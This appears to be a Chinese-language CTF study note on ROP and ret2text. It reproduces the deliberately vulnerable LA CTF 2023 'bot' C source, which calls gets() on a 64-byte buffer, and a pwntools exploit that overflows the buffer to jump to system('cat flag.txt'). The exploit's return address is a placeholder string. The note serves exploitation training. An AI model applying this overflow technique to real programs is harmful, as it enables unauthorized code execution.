ROP
随着NX保护开启,往栈上或堆上直接注入代码无法实现,目前通过ROP(Return Oriented Programming)来绕过保护
满足条件
程序存在溢出,可以控制返回地址
可以找到满足的gadgets以及相应的gadget地址
如果gadget每次地址不是固定,那么就需要想办法动态获取对应的地址了
ret2text
即返回时,程序执行程序本身的代码(.text代码段)
LA CTF 2023 【bot】
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void) {
setbuf(stdout, NULL);
char input[64];
volatile int give_flag = 0;
puts("hi, how can i help?");
gets(input);
if (strcmp(input, "give me the flag") == 0) {
puts("lol no");
} else if (strcmp(input, "please give me the flag") == 0) {
puts("no");
} else if (strcmp(input, "help, i have no idea how to solve this") == 0) {
puts("L");
} else if (strcmp(input, "may i have the flag?") == 0) {
puts("not with that attitude");
} else if (strcmp(input, "please please please give me the flag") == 0) { //成立
puts("i'll consider it");
sleep(15);
if (give_flag) { //溢出修改give_flag的值
puts("ok here's your flag");
system("cat flag.txt");
} else {
puts("no");
}
} else {
puts("sorry, i didn't understand your question");
exit(1);
}
}
volatile 关键字是一种类型修饰符,volatile 提醒编译器它后面所定义的变量随时都有可能改变,因此编译后的程序每次需要存储或读取这个变量的时候,都会直接从变量地址中读取数据。
局部变量从上到下入栈,先定义,先压栈
get溢出不到give_flag
set var $pc=0x555555555160 修改寄存器的值
set {int}0x83040 = 4 修改某个内存内容的值
exp
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
f=process("./llk")
gdb.attach(f,"b main")
s=ELF("./llk")
payload=b"please please please give me the flag\x00".ljust(64+8,b"a")+b"system("cat flag.txt")的地址"
f.sendlineafter(b"hi, how can i help?\n",payload)
f.recv()
f.interactive()